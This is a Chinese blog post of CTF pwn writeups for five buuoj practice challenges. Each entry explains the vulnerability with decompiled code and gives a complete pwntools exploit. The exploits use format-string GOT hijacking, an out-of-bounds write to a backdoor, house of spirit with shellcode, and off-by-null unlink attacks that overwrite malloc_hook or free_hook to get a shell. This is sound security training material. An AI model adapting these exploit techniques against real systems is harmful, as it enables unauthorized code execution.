buuoj Pwn writeup 146-150

原创

yongbaoii 于 2021-05-28 11:07:53 发布 65 收藏

分类专栏： CTF 文章标签： 安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/115078919

146 SWPUCTF_2019_login

检查一下保护

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE        No RPATH   No RUNPATH   No Symbols      No      0              2            ./146
```

RELRO没有都开，能够劫持got表。

程序漏洞很简单，就是一个格式化漏洞。

```
int sub_804854B()
{
  puts("Please input your password: ");
  while ( 1 )
  {
    s1[read(0, s1, 0x32u)] = 0;
    if ( !strncmp(s1, "wllmmllw", 8u) )
      break;
    printf("This is the wrong password: ");
    printf(s1);
    puts("Try again!");
  }
  return puts("Login successfully! Have fun!");
}
```


这是栈上的格式化漏洞，要注意的就是，我们这个题只能两个字节去覆盖，不能patrial write。

我们需要利用三层结构，将栈上的两个地址改成got表的地址，可以是strncmp，也可以是printf。
但是因为我们必须要一次性都改了，不能两个字节两个字节那样写，所以我们需要将栈上两个地方的地址，分别改成got跟got+2，必须一起改是因为无论是printf还是strncmp，都需要反复使用，当改了两个字节的时候，第二次改就会出问题，那么就是我们这道题的关键。

我们采用的方法就是上面说的，通过三个指针，反复修改，将栈上两个地址分别改成got 跟 got+2,然后最后一次同时修改，劫持got表。

```
from pwn import*
```

```
context.log_level = "debug"

r = remote("node3.buuoj.cn", 25554)
#r = process("./146")
elf = ELF("./146")
libc = ELF("./32/libc-2.27.so")

r.sendlineafter("Please input your name: ", "Yongibaoi")
r.sendlineafter("Please input your password: ", "%6$p%15$p")

r.recvuntil('0x')
stack_addr = int(r.recvuntil('0x')[:-2],16)
addr1 = int(r.recvuntil('\n')[:-1],16)
stack2 = stack_addr + 0x10
libc_base = addr1 - 0x18e91
strncmp_got = elf.got['strncmp']
system_addr = libc_base + libc.sym['system']
print "strncmp_addr = " + str(hex(strncmp_got))

print "libc_base = " + str(hex(libc_base))

#修改偏移14地方为strncmp_got
r.recvuntil("Try again!\n")
off = strncmp_got & 0xffff
r.sendline("%"+str(off)+"c%10$hn")
r.recvuntil("Try again!\n")

off1 = stack2 & 0xffff
print hex(off1)
r.sendline("%"+str(off1 + 2)+"c%6$hn")
r.recvuntil("Try again!\n")

off2 = (strncmp_got >> 16) & 0xffff
r.sendline("%"+str(off2)+"c%10$hn")
r.recvuntil("Try again!\n")

#修改偏移13地方为strncmp_got + 2
r.sendline("%"+str(off1 - 4)+"c%6$hn")
r.recvuntil("Try again!\n")

off = (strncmp_got + 2) & 0xffff
r.sendline("%"+str(off)+"c%10$hn")
r.recvuntil("Try again!\n")

r.sendline("%"+str(off1 - 2)+"c%6$hn")
r.recvuntil("Try again!\n")

off2 = ((strncmp_got + 2) >> 16) & 0xffff
r.sendline("%"+str(off2)+"c%10$hn")
r.recvuntil("Try again!\n")

print hex(system_addr)

#劫持got表
low = system_addr & 0xffff
high = (system_addr >> 16) & 0xffff
payload = "%"+str(low)+"c%14$hn" + "%"+str(high - low)+"c%13$hn"
r.sendline(payload)
r.recvuntil("Try again!\n")
```

```
r.sendline("/bin/sh")

r.interactive()
```

147 qctf2018_stack2

检查一下保护

```
RELRO           STACK CANARY      NX           PIE          RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   Canary found      NX enabled   No PIE       No RPATH   No RUNPATH   77 Symbols    Yes     0              2            ./147
```

```
int hackhere()
{
  return system("/bin/bash");
}
```

进来首先给了我们后门函数。

分析一下主程序。

```
puts("************************************************************");
puts("*                       An easy calc                       *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256)                                           *");
puts("************************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
  __isoc99_scanf("%d", &v7);
  v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
  while ( 1 )
  {
    while ( 1 )
    {
```


计算平均数的一个程序，最多输入100个数，计算平均数。

```
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit")
```

里面又有五个功能。

show

```
  if ( v6 != 1 )
    return 0;
  puts("id\t\tnumber");
  for ( k = 0; k < j; ++k )
    printf("%d\t\t%d\n", k, v13[k]);
```

add

```
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
  v3 = j++;
  v13[v3] = v7;
}
```

change

```
if ( v6 != 3 )
  break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
```

问题出在这里，我们可以控制v5，所以我们可以任意地址写。

get average

```
for ( i = 0; i < j; ++i )
  v9 += v13[i];
```

```
printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
```

关键是什么呢，我们的数组是char类型的，所以我们只能输入一个字节，包括我们去利用的时候，返回地址只能一个地址一个地址写。

```
var_A8= qword ptr -0A8h
var_A0= qword ptr -0A0h
var_90= dword ptr -90h
var_8C= dword ptr -8Ch
var_88= dword ptr -88h
var_84= dword ptr -84h
var_80= dword ptr -80h
var_7C= dword ptr -7Ch
var_78= dword ptr -78h
var_74= dword ptr -74h
var_70= byte ptr -70h
var_C= dword ptr -0Ch
var_4= dword ptr -4
argc= dword ptr  8
argv= dword ptr  0Ch
envp= dword ptr  10h
```

要注意的是按照经验来讲，或者实际去调试，这个地方最后的偏移要加0x10，本来是0x74，但是要加成0x84，可以看汇编。

exp

```
from pwn import*

r = remote("node3.buuoj.cn", "27441")

context_level = "debug"

backdoor = [0x9b, 0x85, 0x04, 0x08]
offset = 0x84

r.sendlineafter("How many numbers you have:", "0")

for i in range(4):
    r.sendlineafter("5. exit\n", "3")
    r.sendlineafter("which number to change:\n", str(0x84 + i))
    r.sendlineafter("new number:\n", str(backdoor[i]))

r.sendlineafter("5. exit\n", "5")

r.interactive()
```

148 lctf2016_pwn200

检查一下保护

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FI
Partial RELRO   No canary found   NX disabled   No PIE        No RPATH   No RUNPATH   No Symbols      No     0              3       ./148
```

保护好多没开，NX都没开，要注意利用。

```
  puts("who are u?");
  for ( i = 0LL; i <= 47; ++i )
  {
    read(0, &v2[i], 1uLL);
    if ( v2[i] == 10 )
    {
      v2[i] = 0;
      break;
    }
  }
  printf("%s, welcome to ISCC~ \n", v2);
  puts("give me your id ~~?");
```


输入名字输入ID

```
__int64 sub_400A8E()
{
  __int64 i; // [rsp+10h] [rbp-40h]
  char v2[48]; // [rsp+20h] [rbp-30h] BYREF
```

这个地方有问题，我们在把v2填满的时候，因为没有'\x00'的截断，我们就可以泄露ebp的地址。

```
int sub_4007DF()
{
  int result; // eax
  char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  v2 = 0;
  for ( i = 0; i <= 3; ++i )
  {
    read(0, &nptr[i], 1uLL);
    if ( nptr[i] == 10 )
    {
      nptr[i] = 0;
      break;
    }
    if ( nptr[i] > 0x39 || nptr[i] <= 47 )
    {
      printf("0x%x ", (unsigned int)nptr[i]);
      return 0;
    }
  }
  v2 = atoi(nptr);
  if ( v2 >= 0 )
    result = atoi(nptr);
  else
    result = 0;
  return result;
}
```


id有问题会返回一个栈上的地址。

```
__int64 sub_400A29()
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  char *dest; // [rsp+38h] [rbp-8h]

  dest = (char *)malloc(0x40uLL);
  puts("give me money~");
  read(0, buf, 0x40uLL);
  strcpy(dest, buf);
  ptr = dest;
  return sub_4009C4();
}
```


掏钱，这个地方buf可以覆盖ptr指针。

```
{
  return printf("\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice : ");
```

最后发现是一个小旅馆。

```
int check_in()
{
  int nbytes; // [rsp+Ch] [rbp-4h]

  if ( ptr )
    return puts("already check in");
  puts("how long?");
  nbytes = sub_4007DF();
  if ( nbytes <= 0 || nbytes > 128 )
    return puts("invalid length");
  ptr = malloc(nbytes);
  printf("give me more money : ");
  printf("\n%d\n", (unsigned int)nbytes);
  read(0, ptr, (unsigned int)nbytes);
  return puts("in~");
}
```



```
void check_out()
{
  if ( ptr )
  {
    puts("out~");
    free(ptr);
    ptr = 0LL;
  }
  else
  {
    puts("havn't check in");
  }
}
```


我们要怎么去利用这个这两个漏洞。
首先我们可以拿到栈地址，通过覆盖栈的指针，我们可以做到free任意地址chunk，那么这是经典漏洞 house of spirit。
关键就是我们怎样去设置我们malloc的chunk。

我们这里在栈上写上shellcode，malloc栈上的chunk，返回地址填成shellcode的地址就好了。

```python
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

r = remote("node3.buuoj.cn", "29765")

elf = ELF('./148')
free_got = elf.got["free"]

shellcode = asm(shellcraft.sh())
r.sendafter('u?\n',shellcode+"a"*(48-len(shellcode)))

ebp = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

offset = -0x50
shellcode_addr = ebp + offset
r.sendline('0')

r.recvuntil('\n')

payload = p64(shellcode_addr)
r.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got))
r.recvuntil('choice :')
r.sendline('2')
r.interactive()
```

149 sctf_2019_easy_heap

检查一下保护

```
RELRO          STACK CANARY      NX           PIE           RPATH      RUNPATH      Symbols        FORTIFY Fortified      Fortifiable  FILE
Full RELRO     Canary found      NX enabled   PIE enabled   No RPATH   No RUNPATH   No Symbols      Yes    0               3            ./149
```

保护全开。

```
v4 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&unk_202060, 0, 0x80uLL);
fd = open("/dev/urandom", 0);
buf = 0LL;
read(fd, &buf, 5uLL);
buf &= 0xFFFFFFF000uLL;
close(fd);
v3 = mmap((void *)buf, 0x1000uLL, 7, 34, -1, 0LL);
printf("Mmap: %p\n", v3);
unk_202040 = 0;
sub_CBD();
return __readfsqword(0x28u) ^ v4;
```


先读了一个随机数，然后申请了一块内存，权限是7，是可读可写可执行。
还会输出这个页的地址。

```
    0x2ad2943000       0x2ad2944000 rwxp     1000 0
  0x555555554000     0x555555556000 r-xp     2000 0      /home/wuangwuang/Desktop/149
  0x555555755000     0x555555756000 r--p     1000 1000   /home/wuangwuang/Desktop/149
  0x555555756000     0x555555757000 rw-p     1000 2000   /home/wuangwuang/Desktop/149
  0x7ffff7def000     0x7ffff7e11000 r--p    22000 0      /usr/lib/x86_64-linux-gnu/libc-2.28.so
  0x7ffff7e11000     0x7ffff7f59000 r-xp   148000 22000  /usr/lib/x86_64-linux-gnu/libc-2.28.so
  0x7ffff7f59000     0x7ffff7fa5000 r--p    4c000 16a000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
  0x7ffff7fa5000     0x7ffff7fa6000 ---p     1000 1b6000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
  0x7ffff7fa6000     0x7ffff7faa000 r--p     4000 1b6000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
  0x7ffff7faa000     0x7ffff7fac000 rw-p     2000 1ba000 /usr/lib/x86_64-linux-gnu/libc-2.28.so
  0x7ffff7fac000     0x7ffff7fb2000 rw-p     6000 0
  0x7ffff7fd1000     0x7ffff7fd4000 r--p     3000 0      [vvar]
  0x7ffff7fd4000     0x7ffff7fd5000 r-xp     1000 0      [vdso]
  0x7ffff7fd5000     0x7ffff7fd6000 r--p     1000 0      /usr/lib/x86_64-linux-gnu/ld-2.28.so
  0x7ffff7fd6000     0x7ffff7ff4000 r-xp    1e000 1000   /usr/lib/x86_64-linux-gnu/ld-2.28.so
  0x7ffff7ff4000     0x7ffff7ffc000 r--p     8000 1f000  /usr/lib/x86_64-linux-gnu/ld-2.28.so
  0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 26000  /usr/lib/x86_64-linux-gnu/ld-2.28.so
  0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 27000  /usr/lib/x86_64-linux-gnu/ld-2.28.so
  0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0
  0x7ffffffdc000     0x7ffffffff000 rw-p    23000 0      [stack]
xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]
ndbg>
```


我们可以看到红线处确实有个mmap的东西，权限rwxp都有。
一定可以利用。

alloc

```
{
  unsigned int i; // [rsp+Ch] [rbp-14h]
  void *v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 size; // [rsp+18h] [rbp-8h]

  for ( i = 0; qword_202060[2 * i + 1]; ++i )
    ;
  if ( i > 0xF )
    return puts("No more space.");
  printf("Size: ");
  size = sub_EE5();
  if ( size > 0x1000 )
    return puts("Invalid size!");
  v2 = malloc(size);
  if ( !v2 )
  {
    perror("Memory allocate failed!");
    exit(-1);
  }
  qword_202060[2 * i + 1] = v2;
  qword_202060[2 * i] = size;
  ++unk_202040;
  return printf("chunk at [%d] Pointer Address %p\n", i, &qword_202060[2 * i + 1]);
}
```


结构很清晰，最多申请16个chunk，申请的地址跟大小会被放在bss上面，保护开了pie，但是这个地方会泄露bss地址出来，然后pie就白开。

delete

```
{
  _DWORD *v0; // rax
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  printf("Index: ");
  v2 = sub_EE5();
  if ( v2 <= 0xF && addr[2 * v2 + 1] )
  {
    free((void *)addr[2 * v2 + 1]);
    addr[2 * v2 + 1] = 0LL;
    addr[2 * v2] = 0LL;
    v0 = count;
    --count[0];
  }
  else
  {
    LODWORD(v0) = puts("Invalid index.");
  }
  return (int)v0;
}
```


count那个计数好像也没什么用。

fill

```
int fill()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]

  printf("Index: ");
  v1 = sub_EE5();
  if ( v1 > 0xF || !addr[2 * v1 + 1] )
    return puts("Invalid index.");
  printf("Content: ");
  return sub_E2D(addr[2 * v1 + 1], addr[2 * v1]);
}
```



```
unsigned __int64 __fastcall sub_E2D(__int64 a1, unsigned __int64 a2)
{
  char buf; // [rsp+13h] [rbp-Dh] BYREF
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1uLL) <= 0 )
    {
      perror("Read failed!\n");
      exit(-1);
    }
    if ( buf == 10 )
      break;
    *(_BYTE *)(a1 + i) = buf;
  }
  if ( i == a2 )
    *(_BYTE *)(i + a1) = 0;
  return __readfsqword(0x28u) ^ v5;
}
```


free里面没啥事就好好研究研究写入，发现有off by null。

off by null 加上一个mmap的可读可写可执行内存，可以把通过off by null 制造unlink，然后写shellcode，然后malloc跳过去。
现在的问题是说我们怎么能够得到malloc_hook的地址。
我们利用off by one制造好的overlap，来讲arena+0x96的值写在被overlap的chunk种，之后我们利用他的值跟malloc_hook只差一个0x30，只要写一个字节，把他最后一个字节变成0x30就可以了，然后我们申请到malloc_hook的chunk，改成shellcode地方。

```
unsortedbin
all: 0x557de71d8250 —▸ 0x7f9fa8db0ca0 (main_arena+96) ◂— 0x557de71d8250
smallbins
empty
largebins
empty
pwndbg> p &__malloc_hook
$6 = (void *(**)(size_t, const void *)) 0x7f9fa8db0c30 <__malloc_hook>
```

> off by null的思路我们有两种
> 第一种是申请ABCD，free A，edit C，overlap B，然后利用
> 第二种是在A里面首先伪造unlink，或者有uaf也行，然后unlink控制bss，再做利用。

exp

```
from pwn import*

context.log_level = "debug"
context.arch = "amd64"

#r =process("./149")
r = remote("node3.buuoj.cn", "25174")

elf = ELF('./149')
libc = ELF("./64/libc-2.27.so")

def alloc(size):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("Size: ", str(size))

def delete(index):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("Index: ", str(index))

def fill(index, content):
    r.sendlineafter(">> ", "3")
    r.sendlineafter("Index: ", str(index))
    r.sendlineafter("Content: ", content)

r.recvuntil("Mmap: 0x")
mmap_addr = int(r.recv(10),16)

print hex(mmap_addr)

alloc(0x38) #0
r.recvuntil("0x")
bss_addr = int(r.recv(12), 16)

print hex(bss_addr)

alloc(0x4f8) #1
alloc(0x20) #2
payload1 = p64(0) + p64(0x21)
payload1 += p64(bss_addr - 0x18) + p64(bss_addr - 0x10)
payload1 += p64(0x20) + p64(0) + p64(0x30)
fill(0, payload1)

delete(1)

#上面这一部分做的是一个unlink的效果

payload2 = p64(0) * 2 + p64(0x550) + p64(bss_addr + 0x10) + p64(0x550) + p64(mmap_addr)
fill(0, payload2)
fill(1, asm(shellcraft.sh()))

#写入shellcode
```

```
payload3 = p64(bss_addr + 0x28) + p64(0x20) + p64(0x491) + 'a' * 0x488
payload3 += p64(0x21) + 'a' * 0x18 + p64(0x21)

fill(0, payload3)
delete(1)
#伪造chunk并且放入unsorted链，这样就会有一个地址写在bss上
payload4 = 'a' * 0x18 + p64(0x20) + '\x30'
fill(0, payload4)
#讲那个地址修改成malloc_hook

fill(3, p64(mmap_addr))
#malloc_hook里面写入mmap地址
alloc(0x20)
#get shell
r.interactive()
```

150 ciscn_2019_s_1

检查一下保护

```
RELRO           STACK CANARY      NX           PIE          RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Full RELRO      Canary found      NX enabled   No PIE       No RPATH   No RUNPATH   87 Symbols    Yes     0              4            ./150
```

malloc

```
unsigned __int64 malloc_0()

  int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("index:");
  v1 = read_int();
  if ( v1 < 0 || v1 > 32 || *((_QWORD *)&heap + v1) )
    exit(0);
  puts("size:");
  v2 = read_int();
  if ( v2 <= 0x7F || v2 > 0x100 )
    exit(0);
  *((_QWORD *)&heap + v1) = malloc(v2);
  len[v1] = v2;
  printf("gift: %llx\n", *((_QWORD *)&heap + v1));
  puts("content:");
  read(0, *((void **)&heap + v1), v2);
  return __readfsqword(0x28u) ^ v3;
```


申请的大小有限制，会直接给出申请的chunk的地址。

free

```
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("index:");
  v1 = read_int();
  if ( v1 < 0 || v1 > 32 || !*((_QWORD *)&heap + v1) )
    exit(0);
  free(*((void **)&heap + v1));
  *((_QWORD *)&heap + v1) = 0LL;
  len[v1] = 0;
  return __readfsqword(0x28u) ^ v2;
}
```


清理的很干净。

edit

```
unsigned __int64 edit()
{
  int v1; // [rsp+Ch] [rbp-14h]
  _BYTE *v2; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( key1 == 2 )
    exit(0);
  puts("index:");
  v1 = read_int();
  if ( v1 < 0 || v1 > 32 || !heap[v1] )
    exit(0);
  puts("content:");
  v2 = (_BYTE *)heap[v1];
  v2[read(0, v2, (int)len[v1])] = 0;
  ++key1;
  return __readfsqword(0x28u) ^ v3;
}
```


通过key限制只能编辑两次，会画蛇添足有一个off by null漏洞。

show

```
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( key2 )
  {
    puts("index:");
    v1 = read_int();
    if ( v1 < 0 || v1 > 32 || !heap[v1] )
      exit(0);
    puts((const char *)heap[v1]);
  }
  else
  {
    puts("only admin can use");
  }
  return __readfsqword(0x28u) ^ v2;
}
```


必须先把那个地方劫持掉，key2那里改掉，才能show的出来。

off by null思路很清楚，就像上面那个一样，这里因为我们要控制bss，所以我们还是选择通过off by null做一个unlink，控制bss，在bss中伪造一个chunk，free掉，然后申请回来，用于修改key2.然后泄露地址，最后one_gadget一套带走。

我们想要通过unlink来修改key，因为只能edit两次，所以我们平常做好unlink的收已经edit两次了，没机会编辑key，所以我们想着让最后一个地址做unlink，然后尝试铜鼓第二次edit覆盖过去。
要注意最后一个chunk的len会覆盖第一个chunk地址，所以free的时候从序号1开始free。

```
pwndbg> x/20gx 0x6020e0
0x6020e0 <heap>:        0x0000000000000f8       0x000000000153a360
0x6020f0 <heap+16>:     0x000000000153a460      0x000000000153a560
0x602100 <heap+32>:     0x000000000153a660      0x000000000153a760
0x602110 <heap+48>:     0x000000000153a860      0x000000000153aa60
0x602120 <heap+64>:     0x000000000153ab60      0x0000000000000000
0x602130 <heap+80>:     0x0000000000000000      0x0000000000000000
0x602140 <heap+96>:     0x0000000000000000      0x0000000000000000
0x602150 <heap+112>:    0x0000000000000000      0x0000000000000000
0x602160 <heap+128>:    0x0000000000000000      0x0000000000000000
```


大小是够的，就是可以通过最后一个chunk来覆盖key，效果如下图。

```
x6021a0 <heap+192>:     0x0000000000000000      0x0000000000000000
x6021b0 <heap+208>:     0x0000000000000000      0x0000000000000000
x6021c0 <heap+224>:     0x0000000000000000      0x00000000000601fa0
x6021d0 <heap+240>:     0x00000000006021c8      0x00000000006021c8
x6021e0 <pro>: 0x00000000006021e0       0x0000000000000000
x6021f0 <pro+16>:       0x0000000000000000      0x0000000000000000
x602200 <pro+32>:       0x0000000000000000      0x0000000000000000
x602210 <pro+48>:       0x0000000000000000      0x0000000000000000
x602220 <pro+64>:       0x0000000000000000      0x0000000000000000
x602230 <pro+80>:       0x0000000000000000      0x0000000000000000
x602240 <pro+96>:       0x0000000000000000      0x0000000000000000
x602250 <pro+112>:      0x0000000000000000      0x0000000000000000
x602260 <pro+128>:      0x0000000000000000      0x0000000000000000
x602270 <pro+144>:      0x0000000000000000      0x0000000000000000
x602280 <pro+160>:      0x0000000000000000      0x0000000000000000
x602290 <pro+176>:      0x0000000000000000      0x0000000000000000
x6022a0 <pro+192>:      0x0000000000000000      0x0000000000000000
x6022b0 <pro+208>:      0x0000000000000000      0x0000000b00000001
x6022c0:        0x0000000000000000      0x0000000000000000
```


接下来我们需要泄露libc的地址，泄露地址可以有很多种，以前的话我们仅仅是 通过overlap来邪路arena地址，但是我们也可以通过got表来泄露地址。

```
pwndbg> tele 0x00000000000601fa0
00:0000|    0x601fa0 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x7fc91bae59c0 (free) ◂— push   r15
01:0008|    0x601fa8 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7fc91bacea30 (puts) ◂— push   r13
02:0010|    0x601fb0 (_GLOBAL_OFFSET_TABLE_+40) —▸ 0x7fc91bb82e30 (__stack_chk_fail) ◂— lea    rsi, [rip + 0x81d8f]
03:0018|    0x601fb8 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x7fc91bab2f00 (printf) ◂— sub    rsp, 0xd8
04:0020|    0x601fc0 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0x7fc91bb328a0 (alarm) ◂— mov    eax, 0x25
05:0028|    0x601fc8 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0x7fc91bb5e180 (read) ◂— lea    rax, [rip + 0x2e0771]
06:0030|    0x601fd0 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x7fc91ba6fab0 (__libc_start_main) ◂— push   r13
07:0038|    0x601fd8 (_GLOBAL_OFFSET_TABLE_+80) ◂— 0x0
```

然后就是泄露地址，修改free_hook，就好了。

exp

```
# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"
context.arch = "amd64"
```

```python
#r =process("./150")
r = remote("node3.buuoj.cn", "26705")

elf = ELF('./150')
libc = ELF("./64/libc-2.27.so")

def malloc(index, size, content):
    r.sendlineafter("4.show\n", "1")
    r.sendlineafter("index:\n", str(index))
    r.sendlineafter("size:\n", str(size))
    r.sendafter("content:\n", content) #因为题目原因程序不处理回车，所以直接send，不发回车了.

def free(index):
    r.sendlineafter("4.show\n", "2")
    r.sendlineafter("index:\n", str(index))

def edit(index, content):
    r.sendlineafter("4.show\n", "3")
    r.sendlineafter("index:\n", str(index))
    r.sendafter("content:\n", content)  #这个地方也要用send.

def show(index):
    r.sendlineafter("4.show\n", "4")
    r.sendlineafter("index:\n", str(index))

ptr_addr = 0x6021e0
key2_addr = 0x6022b8
free_got = elf.got['free']

for i in xrange(7):
    malloc(i,0xf8,str(i)*8)

malloc(7,0xf8,'7'*8)
malloc(32,0xf8,'aaaa')
malloc(8,0xf8,'8'*8)
malloc(9,0xf8,"/bin/sh\x00")

addr = 0x6020e0+8*32
payload = p64(0)+p64(0xf1)
payload += p64(addr-0x18)+p64(addr-0x10)
payload = payload.ljust(0xf0,"\x00")
payload += p64(0xf0)

for i in range(1,8):
    free(i)

edit(32,payload)
free(8)

payload = p64(free_got)
payload += p64(ptr_addr-0x18)+p64(ptr_addr-0x18)
payload += p64(ptr_addr)
payload = payload.ljust(0xf0,'\x00')
payload += "\x01\x00\x00\x00\x05\x00\x00\x00"
edit(32,payload)

#gdb.attach(r)
#input()
```

```
show(29)
libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-libc.sym["free"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
print hex(libc_base)

edit(32,p64(free_hook))
edit(32,p64(system))
free(9)

r.interactive()
```